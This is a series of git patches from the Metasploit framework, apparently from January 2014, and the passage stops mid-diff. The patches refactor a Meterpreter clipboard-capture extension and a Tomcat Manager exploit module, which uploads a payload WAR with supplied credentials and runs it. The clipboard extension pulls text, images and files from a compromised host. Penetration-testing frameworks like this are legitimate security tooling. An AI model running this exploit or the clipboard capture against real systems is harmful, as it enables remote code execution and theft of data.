"clipboard_monitor_start" => "Start the clipboard monitor", - "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", - "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", - "clipboard_monitor_dump" => "Dump all captured content", - "clipboard_monitor_purge" => "Delete all captured content without dumping it", + "clipboard_monitor_pause" => "Pause the active clipboard monitor", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor", + "clipboard_monitor_dump" => "Dump all captured clipboard content", + "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it", "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -44,7 +44,7 @@ class Console::CommandDispatcher::Extapi::Clipboard # @@get_data_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ] ) def print_clipboard_get_data_usage @@ -194,6 +194,68 @@ class Console::CommandDispatcher::Extapi::Clipboard print_good("Captured clipboard contents purged successfully") end + # + # Options for the clipboard_monitor_pause command. + # + @@monitor_pause_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_pause command. + # + def print_clipboard_monitor_pause_usage + print("\nUsage: clipboard_monitor_pause [-h]\n\n" + + "Pause the currently running clipboard monitor thread.\n\n" + + @@monitor_pause_opts.usage + "\n") + end + + # + # Pause the clipboard monitor captured contents + # + def cmd_clipboard_monitor_pause(*args) + @@monitor_pause_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_pause_usage + return true + end + } + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused successfully") + end + + # + # Options for the clipboard_monitor_resumse command. + # + @@monitor_resume_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_resume command. + # + def print_clipboard_monitor_resume_usage + print("\nUsage: clipboard_monitor_resume [-h]\n\n" + + "Resume the currently paused clipboard monitor thread.\n\n" + + @@monitor_resume_opts.usage + "\n") + end + + # + # resume the clipboard monitor captured contents + # + def cmd_clipboard_monitor_resume(*args) + @@monitor_resume_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_resume_usage + return true + end + } + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed successfully") + end + # # Options for the clipboard_monitor_dump command. # @@ -202,7 +264,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] ) # @@ -258,7 +320,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] ) # @@ -315,12 +377,12 @@ private if stat.directory? client.fs.dir.download( dest, source, true, true ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } elsif stat.file? client.fs.file.download( dest, source ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end @@ -328,95 +390,47 @@ private def parse_dump(dump, get_images, get_files, download_path) loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) + if (get_images || get_files) && !::File.directory?( loot_dir ) ::FileUtils.mkdir_p( loot_dir ) end - dump.each do |r| - case r[:type] - when :text - print_line + dump.each do |ts, elements| + elements.each do |type, v| + title = "#{type} captured at #{ts}" + under = "=" * title.length + print_line(title) + print_line(under) - r[:data].each do |x| - title = "Text captured at #{x[:ts]}" - under = "-" * title.length - print_line(title) - print_line(under) - print_line(x[:text]) - print_line(under) - print_line - end + case type + when 'Text' + print_line(v) - when :jpg - print_line - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Clipboard Images', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'Time Captured', 'Width', 'Height' - ] - ) - - r[:data].each do |x| - table << [x[:ts], x[:width], x[:height]] - end - - print_line - print_line(table.to_s) - - if get_images - print_line - print_status( "Downloading Clipboard Images ..." ) - r[:data].each do |j| - file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |x| - x.write j[:data] + when 'Files' + total = 0 + v.each do |f| + print_line("Remote Path : #{f[:name]}") + print_line("File size : #{f[:size]} bytes") + if get_files + download_file( loot_dir, f[:name] ) end - print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" ) + print_line + total += f[:size] end - else - print_line( "Re-run with -d to download image(s)." ) - end - print_line - when :files - print_line - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'Time Captured', 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each do |x| - table << [x[:ts], x[:name], x[:size]] - total += x[:size] - end - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - - if get_files - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each do |f| - download_file( loot_dir, f[:name] ) + when 'Image' + print_line("Dimensions : #{v[:width]} x #{v[:height]}") + if get_images and !v[:data].nil? + file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join(loot_dir, file) + path = ::File.expand_path(path) + ::File.open(path, 'wb') do |x| + x.write v[:data] + end + print_line("Downloaded : #{path}") end - print_good( "Downloaded #{r[:data].length} file(s)." ) - else - print_line( "Re-run with -d to download file(s)." ) end + print_line(under) + print_line end end end From 56287e308dbdda7f01d3618468ba80f5d7134f80 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 30 Jan 2014 11:20:21 -0600 Subject: [PATCH 115/246] Clean up unused variables --- modules/auxiliary/scanner/h323/h323_version.rb | 14 -------------- modules/exploits/multi/http/glassfish_deployer.rb | 2 -- 2 files changed, 16 deletions(-) diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index ccfbdb6996..2f06559fd6 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -100,13 +100,6 @@ class Metasploit3 < Msf::Auxiliary # Make sure the call was shut down cleanly pkt_release = h323_release_call({ :caller_name => caller_name, - :h323_id => h323_id, - :vendor_id => vendor_id, - :callee_host => callee_host, - :callee_port => callee_port, - :caller_host => caller_host, - :caller_port => caller_port, - :conf_guid => conf_guid, :call_guid => call_guid }) sock.put(pkt_release) rescue nil @@ -570,13 +563,6 @@ class Metasploit3 < Msf::Auxiliary def h323_release_call(opts = {}) caller_name = opts[:caller_name] - h323_id = opts[:h323_id] - vendor_id = opts[:vendor_id] - callee_host = opts[:callee_host] - callee_port = opts[:callee_port] - caller_host = opts[:caller_host] - caller_port = opts[:caller_port] - conf_guid = opts[:conf_guid] call_guid = opts[:call_guid] encap_tpkt(3, diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 9822bdaf47..7115369187 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -514,7 +514,6 @@ class Metasploit3 < Msf::Exploit::Remote session = opts[:session] app_base = opts[:app_base] jsp_name = opts[:jsp_name] - target = opts[:target] war = opts[:war] edition = opts[:edition] version = opts[:version] @@ -846,7 +845,6 @@ class Metasploit3 < Msf::Exploit::Remote :session => session, :app_base => app_base, :jsp_name => jsp_name, - :target => mytarget, :war => war, :edition => edition, :version => version From 148e51a28b58ed4963e8b51dd1eb41c80abc8210 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 14:03:52 -0600 Subject: [PATCH 116/246] Clean metadata and use TARGETURI --- .../exploits/multi/http/tomcat_mgr_upload.rb | 71 ++++++++++++------- 1 file changed, 45 insertions(+), 26 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index e151637075..106cc53ea0 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -15,32 +15,53 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution', - 'Description' => %q{ - This module can be used to execute a payload on Apache Tomcat servers that + 'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution', + 'Description' => %q{ + This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive - containing a jsp application using a POST request. - - The manager application can also be abused using deploy but this is already imple + containing a jsp application using a POST request against the /manager/html/upload + component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads. }, 'Author' => [ 'rangercha' ], - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE, 'References' => [ # This is based on jduck's tomcat_mgr_deploy. # the tomcat_mgr_deploy o longer works for current versions of tomcat due to - # CSRF protection tokens, a required session ID and the change from PUT to a - # multipart/form-data POST. - # + # CSRF protection tokens. Also PUT requests against the /manager/html/deploy + # aren't allowed anymore. + # There is no single vulnerability associated with deployment functionality. # Instead, the focus has been on insecure/blank/hardcoded default passwords. - # Although the default deployment no longer has any account enabled that can - # access the manager-gui functionality, people still enable it with weak - # credentials. + # The following references refer to HP Operations Manager + [ 'CVE', '2009-3843' ], + [ 'OSVDB', '60317' ], + [ 'CVE', '2009-4189' ], + [ 'OSVDB', '60670' ], + + # HP Operations Dashboard + [ 'CVE', '2009-4188' ], + + # IBM Cognos Express Default user/pass + [ 'BID', '38084' ], + [ 'CVE', '2010-0557' ], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ], + + # IBM Rational Quality Manager and Test Lab Manager + [ 'CVE', '2010-4094' ], + [ 'ZDI', '10-214' ], + + # 'admin' password is blank in default Windows installer + [ 'CVE', '2009-3548' ], + [ 'OSVDB', '60176' ], + [ 'BID', '36954' ], + + # tomcat docs + [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ] ], 'Platform' => %w{ java linux win }, # others? 'Targets' => @@ -51,30 +72,28 @@ class Metasploit3 < Msf::Exploit::Remote # do target detection but java meter by default [ 'Automatic', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Java Universal', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], - # # Platform specific targets only # [ 'Windows Universal', { - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], - [ 'Linux x86', { - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], @@ -87,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), # /cognos_express/manager/ for Cognos Express (19300) - OptString.new('PATH', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) + OptString.new('TARGETURI', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) ], self.class) end @@ -95,6 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote res = query_manager disconnect return CheckCode::Unknown if res.nil? + if (res.code.between?(400, 499)) print_error("Server rejected the credentials") return CheckCode::Unknown @@ -110,8 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote :active => true ) - print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") - return CheckCode::Vulnerable + return CheckCode::Appears end def auto_target @@ -185,7 +204,7 @@ class Metasploit3 < Msf::Exploit::Remote # UPLOAD # - path_tmp = normalize_uri(datastore['PATH'], "html/upload") + query_str + path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") boundary_identifier=rand_text_numeric(28) @@ -265,7 +284,7 @@ class Metasploit3 < Msf::Exploit::Remote # # DELETE # - path_tmp = normalize_uri(datastore['PATH'], "/html/undeploy") + query_str + path_tmp = normalize_uri(target_uri.path.to_s, "html", "undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -284,7 +303,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_status() - path = normalize_uri(datastore['PATH'], '/status') + path = normalize_uri(target_uri.path.to_s, '/status') res = send_request_raw( { 'uri' => path @@ -301,7 +320,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_manager() - path = normalize_uri(datastore['PATH'], '/html') + path = normalize_uri(target_uri.path.to_s, '/html') res = send_request_raw( { 'uri' => path From 57b8b4974478b73b41dddf2d34f2c37cc2314174 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 14:20:02 -0600 Subject: [PATCH 117/246] Clean query_manager --- .../exploits/multi/http/tomcat_mgr_upload.rb | 50 ++++++++----------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 106cc53ea0..4d1584ab67 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -115,22 +115,25 @@ class Metasploit3 < Msf::Exploit::Remote disconnect return CheckCode::Unknown if res.nil? - if (res.code.between?(400, 499)) - print_error("Server rejected the credentials") + if res.code == 200 + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) + return CheckCode::Appears + end + + if res.code.between?(400, 499) + vprint_error("Server rejected the credentials") return CheckCode::Unknown end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) - - return CheckCode::Appears + return CheckCode::Safe end def auto_target @@ -188,8 +191,8 @@ class Metasploit3 < Msf::Exploit::Remote }).to_s #find CSRF Token - res = query_manager() - return nil if not res + res = query_manager + return nil unless res and res.code == 200 session_id = res.get_cookies() csrf_token = find_csrf(res) @@ -268,8 +271,8 @@ class Metasploit3 < Msf::Exploit::Remote end #Get the new CSRF token & session id - res = query_manager() - return nil if not res + res = query_manager + return nil unless res and res.code == 200 session_id = res.get_cookies() csrf_token = find_csrf(res) @@ -319,18 +322,9 @@ class Metasploit3 < Msf::Exploit::Remote return res end - def query_manager() + def query_manager path = normalize_uri(target_uri.path.to_s, '/html') - res = send_request_raw( - { - 'uri' => path - }, 10) - - if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") - return nil - end - + res = send_request_raw('uri' => path) return res end From c336133a8e2b10ee1ea635f2e578841c0b4e4138 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 14:27:20 -0600 Subject: [PATCH 118/246] Do a first clean related to auto_target --- .../exploits/multi/http/tomcat_mgr_upload.rb | 45 ++++++------------- 1 file changed, 13 insertions(+), 32 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 4d1584ab67..767785ccb4 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -139,35 +139,29 @@ class Metasploit3 < Msf::Exploit::Remote def auto_target print_status("Attempting to automatically select a target...") - res = query_status() - return nil if not res + res = query_status + return nil unless res plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? - if (not arch or not plat) + unless arch and plat return nil end # see if we have a match - targets.each { |t| - if (t['Platform'] == plat) and (t['Arch'] == arch) - return t - end - } + targets.each { |t| return t if t['Platform'] == plat and t['Arch'] == arch } # no matching target found return nil end - - def exploit mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target - if (not mytarget) + unless mytarget fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") @@ -305,20 +299,15 @@ class Metasploit3 < Msf::Exploit::Remote handler end - def query_status() - path = normalize_uri(target_uri.path.to_s, '/status') - res = send_request_raw( - { - 'uri' => path - }, 10) + def query_status + path = normalize_uri(target_uri.path.to_s, 'status') + res = send_request_raw('uri' => path) - if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") + unless res and res.code == 200 + vprint_error("Failed: Error requesting #{path}") return nil end - vprint_status(res.body) - return res end @@ -329,12 +318,8 @@ class Metasploit3 < Msf::Exploit::Remote return res end - def detect_platform(body = nil) - if not body - res = query_status() - return nil if not res - body = res.body - end + def detect_platform(body) + return nil if body.blank? i=0 @@ -363,11 +348,7 @@ class Metasploit3 < Msf::Exploit::Remote end def detect_arch(body) - if not body - res = query_status() - return nil if not res - body = res.body - end + return nil if body.blank? i=0 body.each_line { |ln| From 7200a4f0e0d9ff143f3712def0372a9b38c901b5 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 30 Jan 2014 14:39:28 -0600 Subject: [PATCH 119/246] Fix in_super-reliant msftidy checks The conversion from hard tabs to two-space soft tabs broke a few checks. --- tools/msftidy.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 2feb6bd214..13d9422b0a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -95,7 +95,7 @@ class Msftidy in_refs = false @source.each_line do |line| - if !in_super and line =~ /[\n\t]+super\(/ + if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false @@ -204,7 +204,7 @@ class Msftidy # # Mark our "super" code block # - if !in_super and line =~ /[\n\t]+super\(/ + if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false From cebbe71dba68e4b0dd5f26c96740d84d1198b121 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 14:42:02 -0600 Subject: [PATCH 120/246] Do easy cleanup of exploit --- .../exploits/multi/http/tomcat_mgr_upload.rb | 65 +++++++++---------- 1 file changed, 30 insertions(+), 35 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 767785ccb4..f50a5c23f0 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target unless mytarget fail_with(Failure::NoTarget, "Unable to automatically select a target") @@ -178,20 +178,20 @@ class Metasploit3 < Msf::Exploit::Remote # Generate the WAR containing the payload war = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform - }).to_s + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s - #find CSRF Token + # find CSRF Token res = query_manager - return nil unless res and res.code == 200 + fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 - session_id = res.get_cookies() + session_id = res.get_cookies csrf_token = find_csrf(res) - if(csrf_token==nil) + if csrf_token.nil? query_str = "" else query_str = "?path=/" @@ -204,7 +204,7 @@ class Metasploit3 < Msf::Exploit::Remote path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") - boundary_identifier=rand_text_numeric(28) + boundary_identifier = rand_text_numeric(28) warmultipart = "-----------------------------" warmultipart << boundary_identifier @@ -221,19 +221,16 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => path_tmp, 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, - 'user' => datastore['USERNAME'], + 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => session_id, 'data' => warmultipart, - }, 20) - if (! res) - fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") - end - if (res.code < 200 or res.code >= 300) - case res.code - when 401 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - end + }) + + fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") unless res + + if res.code < 200 or res.code >= 300 + print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") end @@ -250,25 +247,25 @@ class Metasploit3 < Msf::Exploit::Remote # # EXECUTE # - jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' + jsp_path = normalize_uri(app_base, "#{jsp_name}.jsp") print_status("Executing #{jsp_path}...") res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' - }, 20) + }) - if (! res) - print_error("Execution failed on #{app_base} [No Response]") - elsif (res.code < 200 or res.code >= 300) + print_error("Execution failed on #{app_base} [No Response]") unless res + + if res and (res.code < 200 or res.code >= 300) print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]") vprint_status(res.body) end #Get the new CSRF token & session id res = query_manager - return nil unless res and res.code == 200 + fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 - session_id = res.get_cookies() + session_id = res.get_cookies csrf_token = find_csrf(res) if(csrf_token==nil) @@ -286,17 +283,15 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'POST', - 'user' => datastore['USERNAME'], + 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => session_id - }, 20) - if (! res) - print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]") - elsif (res.code < 200 or res.code >= 300) + }) + print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]") unless res + + if res and (res.code < 200 or res.code >= 300) print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]") end - - handler end def query_status From b2273dce2e771b9c157d4090e78a9bd41c8953f5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 15:04:08 -0600 Subject: [PATCH 121/246] Delete Automatic target It isn't usefull at all, when auto targeting is done, the payload (java platform and arch) has been already selected. --- .../exploits/multi/http/tomcat_mgr_upload.rb | 81 +++++++------------ 1 file changed, 28 insertions(+), 53 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index f50a5c23f0..30a8e9266c 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -66,16 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ java linux win }, # others? 'Targets' => [ - # - # detect via /manager/serverinfo - # - # do target detection but java meter by default - [ 'Automatic', - { - 'Arch' => ARCH_JAVA, - 'Platform' => 'java' - } - ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, @@ -117,13 +107,13 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true ) return CheckCode::Appears end @@ -158,30 +148,16 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - mytarget = target - if target.name =~ /Automatic/ - mytarget = auto_target - unless mytarget - fail_with(Failure::NoTarget, "Unable to automatically select a target") - end - print_status("Automatically selected target \"#{mytarget.name}\"") - else - print_status("Using manually select target \"#{mytarget.name}\"") - end - - # We must regenerate the payload in case our auto-magic changed something. - p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) - # Generate the WAR containing the EXE containing the payload jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) # Generate the WAR containing the payload - war = p.encoded_war({ + war = payload.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + :arch => target.arch, + :platform => target.platform }).to_s # find CSRF Token @@ -191,17 +167,17 @@ class Metasploit3 < Msf::Exploit::Remote session_id = res.get_cookies csrf_token = find_csrf(res) - if csrf_token.nil? - query_str = "" - else - query_str = "?path=/" - query_str << app_base - query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token + vars_get = {} + unless csrf_token.nil? + vars_get = { + "path" => app_base, + "org.apache.catalina.filters.CSRF_NONCE" => csrf_token + } end # UPLOAD # - path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload") + query_str + path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload") print_status("Uploading #{war.length} bytes as #{app_base}.war ...") boundary_identifier = rand_text_numeric(28) @@ -224,6 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => session_id, + 'vars_get' => vars_get, 'data' => warmultipart, }) @@ -268,20 +245,21 @@ class Metasploit3 < Msf::Exploit::Remote session_id = res.get_cookies csrf_token = find_csrf(res) - if(csrf_token==nil) - query_str = "" - else - query_str = "?path=/" - query_str << app_base - query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token + vars_get = {} + unless csrf_token.nil? + vars_get = { + "path" => app_base, + "org.apache.catalina.filters.CSRF_NONCE" => csrf_token + } end # # DELETE # - path_tmp = normalize_uri(target_uri.path.to_s, "html", "undeploy") + query_str + path_tmp = normalize_uri(target_uri.path.to_s, "html", "undeploy") print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, + 'vars_get' => vars_get, 'method' => 'POST', 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], @@ -324,7 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote case ln when /OS Name/ i=1 - end if (i==9 or i==11) @@ -382,17 +359,15 @@ class Metasploit3 < Msf::Exploit::Remote ln.chomp! csrf_string = "CSRF_NONCE=" csrf_nonce = ln.index(csrf_string) - csrf_test=0 + csrf_test = 0 if csrf_nonce == nil csrf_test = -1 else csrf_test = csrf_nonce end - if csrf_test>=0 - + if csrf_test >= 0 token = ln[csrf_nonce+csrf_string.length,32] return token - end } From 1a9e6dfb2a1540a78aad16ce4181e7ca6ca9a93a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 15:17:20 -0600 Subject: [PATCH 122/246] Allow check to detect platform and arch --- .../exploits/multi/http/tomcat_mgr_upload.rb | 46 ++++++++----------- 1 file changed, 18 insertions(+), 28 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 30a8e9266c..9292b9937b 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -103,48 +103,38 @@ class Metasploit3 < Msf::Exploit::Remote def check res = query_manager disconnect + return CheckCode::Unknown if res.nil? - if res.code == 200 - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) - return CheckCode::Appears - end - if res.code.between?(400, 499) - vprint_error("Server rejected the credentials") + vprint_error("#{peer} - Server rejected the credentials") return CheckCode::Unknown end - return CheckCode::Safe - end - - def auto_target - print_status("Attempting to automatically select a target...") + return CheckCode::Safe unless res.code == 200 + # if res.code == 200 + # there should be access to the Tomcat Manager and to the status page res = query_status - return nil unless res + return CheckCode::Unknown unless res plat = detect_platform(res.body) arch = detect_arch(res.body) + return CheckCode::Unknown unless plat and arch - # No arch or platform found? - unless 